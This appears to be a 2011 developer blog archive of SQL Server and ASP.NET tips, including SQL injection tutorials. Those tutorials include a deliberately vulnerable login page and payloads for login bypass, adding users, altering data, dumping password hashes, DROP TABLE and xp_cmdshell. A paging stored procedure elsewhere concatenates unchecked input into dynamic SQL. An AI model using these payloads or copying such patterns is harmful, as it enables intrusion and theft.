Monday 30 May 2011

Difference Between SELECT * vs SELECT COUNT(*)

* Difference Between SELECT * vs SELECT COUNT(*) ???


Select * - resulting Error
Select * - resulting Error
Select count * - NOT resulting Error
Select count * - NOT resulting Error



Select *” will return all columns from a table (or a result set), if no table specified, error happens.

Select count(*)” will return the number of a table (or result set), if no table specified, it will scan an internal table of constants which has 1 row

Friday 20 May 2011

Import csv file and return Table in Sql

Import csv file and return Table :

CREATE TABLE Test
(ID INT,FirstName VARCHAR(40),LastName VARCHAR(40),BirthDate SMALLDATETIME)GO


BULK
INSERT
TestFROM 'c:\Nilay.txt'WITH(FIELDTERMINATOR = ',',ROWTERMINATOR = '\n')GO--Check the content of the table.SELECT *FROM Test
GO

Thursday 19 May 2011

T-SQL Query

Recently Executed T-SQL Query :

SELECT deqs.last_execution_time 
 AS [Time], dest.TEXT AS [Query]
 FROM sys.dm_exec_query_stats
AS deqsCROSS APPLY sys.dm_exec_sql_text(deqs.sql_handle) AS dest 
ORDER BY deqs.last_execution_time DESC

Keyboard ShortCut Visual Studio 2010

Improve Your Efficiency with Visual Studio 2010 Shortcut :

LOVE AND FEEL THE DEVELOPMENT...


Tuesday 10 May 2011

Generate Image from Text in C#

private Bitmap CreateBitmapImage(string sImageText)
 {
        Bitmap objBmpImage = new Bitmap(1, 1);
    `
       int intWidth = 0;
       int intHeight = 0;
   
       // Create the Font object for the image text drawing.
       Font objFont = new Font("Arial", 20, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Pixel);
  
       // Create a graphics object to measure the text's width and height.
       Graphics objGraphics = Graphics.FromImage(objBmpImage);
      
       // This is where the bitmap size is determined.
       intWidth = (int)objGraphics.MeasureString(sImageText, objFont).Width;
       intHeight = (int)objGraphics.MeasureString(sImageText, objFont).Height;
   
       // Create the bmpImage again with the correct size for the text and font.
       objBmpImage = new Bitmap(objBmpImage, new Size(intWidth, intHeight));
   
       // Add the colors to the new bitmap.
       objGraphics = Graphics.FromImage(objBmpImage);
   
       // Set Background color
      objGraphics.Clear(Color.White);
       objGraphics.SmoothingMode = SmoothingMode.AntiAlias;
      objGraphics.TextRenderingHint = TextRenderingHint.AntiAlias;
       objGraphics.DrawString(sImageText, objFont, new SolidBrush(Color.FromArgb(102, 102, 102)), 0, 0);
       objGraphics.Flush();
   
       return (objBmpImage);
  }

How to Encrypt Connection String in Web.Config

How to Encrypt connection string in web.config :

     The most sensitive information stored in web.config file can be the connection string. You do not want to disclose the information related to your database to all the users where the application is deployed. Every time it is not possible to have a private machine for your sites, you may need to deploy the site in shared host environment. To encrypt the connection string in above situation is advisable.
     ASP.NET 2.0 provides in built functionality to encrypt few sections of web.config file. The task can be completed using Aspnet_regiis.exe. Below is the web.config file and <connectionStrings> section.   
   1: <connectionStrings>
   2:   <add name="cn1" 
   3:           connectionString="Server=DB SERVER; />
   4:                             database=TestDatabase;
   5:                             uid=UID;
   6:                             pwd=PWD;"
   7:  </connectionStrings>
Fig – (1) Connection string section of web.config file
     To encrypt the connection string section follow the steps,
1. Go to Start -> Programm Files -> Microsoft Visual Studio 2005 -> Visual Tools
    -> Microsoft Visual Studio 2005 Command Prompt

2. Type following command,
    aspnet_regiis.exe -pef “connectionStrings” C:\Projects\DemoApplication
    -pef indicates that the application is built as File System website.  The second argument is the name of configuration section needs to be encrypted. Third argument is the physical path where the web.config file is located.
   If you are using IIS base web site the command will be,
   aspnet_regiis.exe -pe “connectionStrings” -app “/DemoApplication”
 -pe indicates that the application is built as IIS based site. The second argument is the name of configuration section needs to be encrypted. Third argument “-app” indicates virtual directory and last argument is the name of virtual directory where application is deployed.   
   If everything goes well you will receive a message “Encrypting configuration section…Succeeded!”
  Open your web.config file and you can see that connection string is encrypted,
   1: <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider">
   2:   <EncryptedData Type="http://www.w3.org/2001/04/xmlenc#Element"
   3:    xmlns="http://www.w3.org/2001/04/xmlenc#">
   4:    <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#tripledes-cbc" />
   5:    <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
   6:     <EncryptedKey xmlns="http://www.w3.org/2001/04/xmlenc#">
   7:      <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5" />
   8:      <KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
   9:       <KeyName>Rsa Key</KeyName>
  10:      </KeyInfo>
  11:      <CipherData>
  12:       <CipherValue>Ik+l105qm6WIIQgS9LsnF8RRxQtj2ChEwq7DbHapb440GynFEoGF6Y3EM3Iw/lyDV8+P8bIsketi5Ofy9gpZlCBir7n315Q6RPbdclUo79o/LKadhX4jHFpnSIQNIF/LhwjwkLFC0=</CipherValue>
  13:      </CipherData>
  14:     </EncryptedKey>
  15:    </KeyInfo>
  16:    <CipherData>
  17:     <CipherValue>JsLrQ5S8Pq3U72nQzmSl/XlLX72GM0O3EbPLaHRNvjTDgG9seDflGMjTfO10M1s7/mPh//3MhA7pr0dNHUJ143Svhu5YXODRC6z9CkR0uyE4H7uDvTKJ8eR3m9APhXoo1sT1K3tCLHD6a2BM+gqSk9d8PzCfbM8Gmzmpjz1ElIaxu62b4cg9SNxp8o86O9N3fBl2mq</CipherValue>
  18:    </CipherData>
  19:   </EncryptedData>
  20:  </connectionStrings>
Fig – (2) Encrypted connection string section

       You do not have to write any code to decrypt this connection string in your application, dotnet automatically decrypts it. So if you write following code you can see plaintext connection string.
   1: Response.Write(ConfigurationManager.ConnectionStrings["cn1"].ConnectionString);

    Now to decrypt the configuration section in web.config file use following command,
For File System Application,
aspnet_regiis.exe -pdf “connectionStrings” C:\Projects\DemoApplication
For IIS based Application
aspnet_regiis.exe -pd “connectionStrings” -app “/DemoApplication”

    If you want to encrypt any nested section in web.config file like <pages> element within <system.web> you need to write full section name as shown below,
aspnet_regiis.exe -pef “system.web/Pages” C:\Projects\DemoApplication
     You can encrypt all the sections of web.config file except following using the method I displayed in this article,
<processModel>
<runtime>
<mscorlib>
<startup>
<system.runtime.remoting>
<configProtectedData>
<satelliteassemblies>
<cryptographySettings>
<cryptoNameMapping>
<cryptoClasses>

   To encrypt these section you needed to use Aspnet_setreg.exe tool.  For more detail about Aspnet_setreg.exe tool search Microsoft Knowledge Base article 329290, How to use the ASP.NET utility to encrypt credentials and session state connection strings.

Thursday 5 May 2011

Store Procedure of Paging,Sorting and Searching.

--================================================
--Create By : Nilay Mistry
--LIMS Application
--Paging,Sorting
--Indusa Infotech Service Pvt Ltd
--================================================

CREATE PROCEDURE getSelectedPage
    @TableOrView nvarchar (50),             
    @SelectedPage int,
    @PageSize int,
    @Columns nvarchar(500),
    @OrderByColumn nvarchar(100),
    @OrderByDirection nvarchar(4),
    @WhereClause nvarchar(500)
AS

DECLARE @ReturnedRecords int, @SqlQuery nvarchar(1000), @ConOrderByDirection nvarchar(4)
IF Upper(@OrderByDirection) = 'ASC'
  BEGIN
   
    SET @ConOrderByDirection = 'DESC'
  END
ELSE
  BEGIN
  
    SET @ConOrderByDirection = 'ASC'
   
  END

IF @WhereClause <> ''
  BEGIN
    SET @WhereClause = ' WHERE ' + @WhereClause
  END

SET @ReturnedRecords = (@PageSize * @SelectedPage) -1
SET NOCOUNT ON


    SET @SqlQuery = N'SELECT * FROM '+ @TableOrView +' where  ' + @Columns + ' in
       (SELECT TOP ' + CAST(@ReturnedRecords as varchar(10)) + ' ' + @Columns +
         ' FROM ' + @TableOrView + @WhereClause + '
         ORDER BY ' + @OrderByColumn + ' ' + @OrderByDirection + ') Order by
         '+ @Columns + ' ' + @OrderByDirection + ''
      
    --SELECT @SqlQuery
   
EXEC(@SqlQuery)
SET NOCOUNT OFF

  

Tuesday 3 May 2011

Sql Injection Demo (Dont Run it on Production Server)

follows:
/************* WARNING ****************
* THIS IS AN SQL INJECTION DEMO - DON'T RUN IT ON PRODUCTION
* EXECUTE IT AT YOUR OWN RISK
***************************************/
USE tempdb;
GO
/**** DISCLAIMER - DEMO CODE ONLY - DON'T USE IT PRODUCTION ****/
CREATE PROC sprocSQLInjectionAttackDemo @input nchar(10)
AS
BEGIN
 DECLARE @SQL nvarchar(max)
 SET @SQL = ' SELECT Color FROM AdventureWorks2008.Production.Product'+CHAR(10)+
  ' WHERE Color like '+@input
 PRINT @SQL
 EXEC (@SQL)
END
GO
-- Test SQL injection stored procedure
DECLARE @input nchar(10)= '''''SHUTDOWN'
EXEC sprocSQLInjectionAttackDemo @input
GO
/* 
 SELECT Color FROM AdventureWorks2008.Production.Product
 WHERE Color like ''SHUTDOWN
(0 row(s) affected)
The SHUTDOWN statement cannot be executed within a transaction or by a 
stored procedure.
Msg 0, Level 11, State 0, Line 0
A severe error occurred on the current command. The results, if any, 
should be discarded.
*/

Sql Injection Demo

SQL Injection Demo

SQL injection seems to have faded from prominence lately and has become just a buzz word. To make things a little more real I put together a quick demo for it, to demonstrate that you don't necessarily have to go out of your way to make your web application exploitable.

Here are the ingredients for this demo:
  1. ASP.NET application using System.Data.SqlClient to access a SQL database.
  2. SQLExpress (or any other db) with some tool to directly author to the database.

CAUTION: This is a sample to demo SQLInjection and is hence insecure. Do not use this sample as the basis for a web application.

Setting up the Database


I used SQLExpress for my demo, but you can use whatever is available. Just be sure to update the connection string in your ASP.Net application.
  • Enable the sa account and gave it a password.
  • Connect to the database with this account to make sure it works. You can use SQL Server Management Studio Express (SSMSE) to do this.
  • Create a database called WebApp and create tables as follows.

db_design

  • Populate the tables with sample data.
  • Try running a few queries against through SSMSE to make sure things work, eg:
SELECT * FROM Users; SELECT * From Orders;



Setting up a Web Application on your Server


I used IIS 7.0 and ASP.NET 2.0, but you could use other tools as well.
  • Make sure IIS is running and that you can access the default page.
  • Under the same directory you can add the following ASP.NET page (SQLLoginUnsafe.aspx) and the code-behind file (SQLLoginUnsafe.aspx.cs)
  • Here is the sample ASP.NET page, SqlLoginUnsafe.aspx.
<!--
    SQLLoginUnsafe.aspx
    Author: Nazim Lala
-->
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="SQLLoginUnsafe.aspx.cs" 
    Inherits="SQLLoginUnsafe" %>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" 
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head runat="server">
    <title>Untitled Page</title>
</head>

<body>
    <form id="form1" runat="server">
    <div>
    
        This is the Unsafe SQL Login Page.<br />
        <br />
        Username:</div>
    <asp:TextBox ID="TextBoxUsername" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Password:<br />
    <asp:TextBox ID="TextBoxPassword" runat="server" Width="200px">
    </asp:TextBox>
    <br />
    <br />
    Result:<br />
    <asp:Label ID="LabelResult" runat="server" Text="-"></asp:Label>
    <br />
    <br />
    <asp:Button ID="ButtonLogin" runat="server" onclick="ButtonLogin_Click" 
        Text="Login" />
    <br />
    <br />
    <asp:Label ID="LabelData" runat="server" Text="Here is your Order history" 
        Visible="False"></asp:Label>
    <br />
    <br />
    <asp:GridView ID="GridView1" runat="server" Visible="False">
    </asp:GridView>
    <br />
    <asp:Button ID="ButtonLogout" runat="server" onclick="ButtonLogout_Click" 
        Text="Logout" Visible="False" />
    <br />
    <br />
    </form>
</body>
</html>

  • Here is the sample code-behind the ASP.Net page, SQLLoginUnsafe.aspx.cs.
 
/*
 * SQLLoginUnsafe.aspx.cs
 * Author: Nazim Lala
 * 
 */
using System;
using System.Web;
using System.Web.UI;
using System.Web.UI.HtmlControls;
using System.Web.UI.WebControls;
using System.Text;
using System.Data;
using System.Data.SqlClient;

public partial class SQLLoginUnsafe : System.Web.UI.Page
{
    private string _username;
    private string _password;
    private bool _loggedIn = false;

    private string _connString = 
        @"Data Source=.\SQLEXPRESS;"+
        "Initial Catalog=WebApp;"+
        "Integrated Security=True;";

    private SqlConnection _sqlConn = null;

    protected void ButtonLogin_Click(object sender, EventArgs e)
    {
        _username = Request["TextBoxUsername"];
        _password = Request["TextBoxPassword"];

        if (!IsNonEmptyCredentials())
        {
            LabelResult.Text = "ERROR: Cannot have empty credentials.";
            return;
        }

        if (AttemptSQLLogin())
        {
            // Login succeeded
            
            // Fill order data
            FillOrderData();

            EnableLoggedInVisuals();

        }
        else
        {
            DisableLoggedInVisuals();
        }

    }

    protected bool IsNonEmptyCredentials()
    {
        if (_username == null ||
             _username.Length == 0 ||
             _password == null ||
             _password.Length == 0)
        {
            return false;
        }
        else return true;
 
    }

    protected bool AttemptSQLLogin()
    {
        try
        {
            _sqlConn = new SqlConnection(_connString);
            _sqlConn.Open();
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to open SQL Connection: {0}", ex.Message);
            return false;
        }

        SqlDataReader dataReader = null;

        string SQLQuery = String.Format(
            "SELECT * FROM Users WHERE Username='{0}' AND Password='{1}'", 
            _username, _password);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.SingleResult);

            if (dataReader.HasRows)
            {
                LabelResult.Text = String.Format("Login success");
                dataReader.Close();
                _loggedIn = true;
                return true;
            }
            else
            {
                LabelResult.Text = String.Format(
                    "Login failed: Invalid credentials");
                dataReader.Close();
                return false;
            }

        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }

        //return true;
    }

    protected bool FillOrderData()
    {
        SqlDataReader dataReader = null;

        if (!_loggedIn)
        {
            LabelResult.Text = "No user logged it";
            return false;
        }

        string SQLQuery = String.Format(
            "SELECT Orders.OrderId, Orders.Amount, Orders.CreditCard "+
            "FROM Users, Orders WHERE Users.Username='{0}' "+
            "AND Users.UserId=Orders.UserId", _username);

        SqlCommand command = new SqlCommand(SQLQuery, _sqlConn);

        try
        {
            dataReader = command.ExecuteReader(CommandBehavior.Default);

            GridView1.DataSource = dataReader;
            GridView1.DataBind();

            dataReader.Close();

            return true;
        }
        catch (Exception ex)
        {
            LabelResult.Text = String.Format(
                "ERROR: Failed to execute SQL command: {0}", ex.Message);
            return false;
        }
    }

    protected void ButtonLogout_Click(object sender, EventArgs e)
    {
        LabelResult.Text = "Logged Out";
        _loggedIn = false;
        _username = "";
        _password = "";
        DisableLoggedInVisuals();
    }

    protected void EnableLoggedInVisuals()
    {
        ButtonLogin.Enabled = false;
        ButtonLogin.Visible = false;
        LabelData.Visible = true;
        GridView1.Enabled = true;
        GridView1.Visible = true;
        ButtonLogout.Enabled = true;
        ButtonLogout.Visible = true;
        
    }

    protected void DisableLoggedInVisuals()
    {
        ButtonLogin.Enabled = true;
        ButtonLogin.Visible = true;
        LabelData.Visible = false;
        GridView1.Enabled = false;
        GridView1.Visible = false;
        ButtonLogout.Enabled = false;
        ButtonLogout.Visible = false;
        
    }
}

 
  • Make sure you can access the website from your local machine.

Making the SQL Injection Requests


Now onto the fun part. Let's say we have a user 'Foo' with password 'foo' in our Users table for the purpose of this exercise.

  1. Trying an invalid user/password.
    Username: Unknown
    Password: unknown
    Screen1

    As expected we get a login failure.
  2. Bypassing login for a known user. Let's say we know user 'Foo' exists.
    Username: Foo'--
    Password: junk
    Screen2


    By using '--' for commenting out the rest of the conditions in the query we have been able to skip password validation for user 'Foo'
  3. Bypassing login for unknown user. Let's say we don't know any user on the site.
    Username: ' OR 1=1--
    Password: junk
    Screen3 

    We used a tautology (1=1) to bypass all security checks. Notice that I know have the order information for *all* users.
  4. Injecting a new user. Let's say I want to add a user 'Hijack' with password 'This'.
    Username: ';INSERT INTO Users VALUES (100,'Hijack','This')--
    Password: junk
    Screen4a 

    But now using those credentials succeeds.
    Screen4b
  5. Changing price of all orders to 0.01
    Username: ';UPDATE Orders Set Amount=0.01--
    Password: junk
    Screen5a

    And using an earlier example to list all orders we see that all the prices have changed.
    Screen5b 

  6. Injecting SQL users and password hashes into the Orders table and getting it to display

    So this is a little tricky. sys.sql_logins table has the information of interest. But how do we go about displaying it.
    The answer is simple, we inject all the information into the Orders table and get the query to display it.
    Username: 'OR 1=1;INSERT INTO Orders (OrderId, UserId, Amount, CreditCard) SELECT principal_id+1000,principal_id+1000,principal_id*1.0,name FROM sys.sql_logins UNION SELECT principal_id+1000,principal_id+1000,principal_id*1.0,master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins--
    Password: junk
    Screen6

    Now that we have user names and password hashes, you could use one of several external hash cracking tools to actually get to the password.

Conclusion


It is quite easy to see how quickly one can invade a system through the use of SQL injection. The million dollar question is "How do I protect myself "? The answer is, follow best practices.
  • Sanitize your input using both black lists and white lists.
  • Use parameterized SQL and NEVER use string concatenation to generate queries.
  • Protect your database resources wisely and use the notion of "least privilege" to access information.

Sql Injection Example


SQL Injection :

SQL injection is a technique used to take advantage of non-validated input vulnerabilities to pass SQL commands through a Web application for execution by a backend database. Attackers take advantage of the fact that programmers often chain together SQL commands with user-provided parameters, and can therefore embed SQL commands inside these parameters. The result is that the attacker can execute arbitrary SQL queries and/or commands on the backend database server through the Web application.

Details

Databases are fundamental components of Web applications. Databases enable Web applications to store data, preferences and content elements. Using SQL, Web applications interact with databases to dynamically build customized data views for each user. A common example is a Web application that manages products. In one of the Web application's dynamic pages (such as ASP), users are able to enter a product identifier and view the product name and description. The request sent to the database to retrieve the product's name and description is implemented by the following SQL statement.

SELECT ProductName, ProductDescription
FROM Products
WHERE ProductNumber = ProductNumber

Typically, Web applications use string queries, where the string contains both the query itself and its parameters. The string is built using server-side script languages such as ASP, JSP and CGI, and is then sent to the database server as a single SQL statement. The following example demonstrates an ASP code that generates a SQL query.

sql_query= "
SELECT ProductName, ProductDescription
FROM Products
WHERE ProductNumber = " & Request.QueryString("ProductID")

The call Request.QueryString("ProductID") extracts the value of the Web form variable ProductID so that it can be appended as the SELECT condition.
When a user enters the following URL:


The corresponding SQL query is executed:
SELECT ProductName, ProductDescription
FROM Products
WHERE ProductNumber = 123

An attacker may abuse the fact that the ProductID parameter is passed to the database without sufficient validation. The attacker can manipulate the parameter's value to build malicious SQL statements. For example, setting the value "123 OR 1=1" to the ProductID variable results in the following URL:
The corresponding SQL Statement is:

SELECT ProductName, Product Description
FROM Products
WHERE ProductNumber = 123 OR 1=1

This condition would always be true and all ProductName and ProductDescription pairs are returned. The attacker can manipulate the application even further by inserting malicious commands. For example, an attacker can request the following URL:


In this example the semicolon is used to pass the database server multiple statements in a single execution. The second statement is "DROP TABLE Products" which causes SQL Server to delete the entire Products table.
An attacker may use SQL injection to retrieve data from other tables as well. This can be done using the SQL UNION SELECT statement. The UNION SELECT statement allows the chaining of two separate SQL SELECT queries that have nothing in common. For example, consider the following SQL query:

SELECT ProductName, ProductDescription
FROM Products
WHERE ProductID = '123' UNION SELECT Username, Password FROM Users;

The result of this query is a table with two columns, containing the results of the first and second queries, respectively. An attacker may use this type of SQL injection by requesting the following URL:

http://www.mydomain.com/products/products.asp?productid=123 UNION
SELECT user-name, password FROM USERS

The security model used by many Web applications assumes that an SQL query is a trusted command. This enables attackers to exploit SQL queries to circumvent access controls, authentication and authorization checks. In some instances, SQL queries may allow access to host operating system level commands. This can be done using stored procedures. Stored procedures are SQL procedures usually bundled with the database server. For example, the extended stored procedure xp_cmdshell executes operating system commands in the context of a Microsoft SQL Server. Using the same example, the attacker can set the value of ProductID to be "123;EXEC master..xp_cmdshell dir--", which returns the list of files in the current directory of the SQL Server process.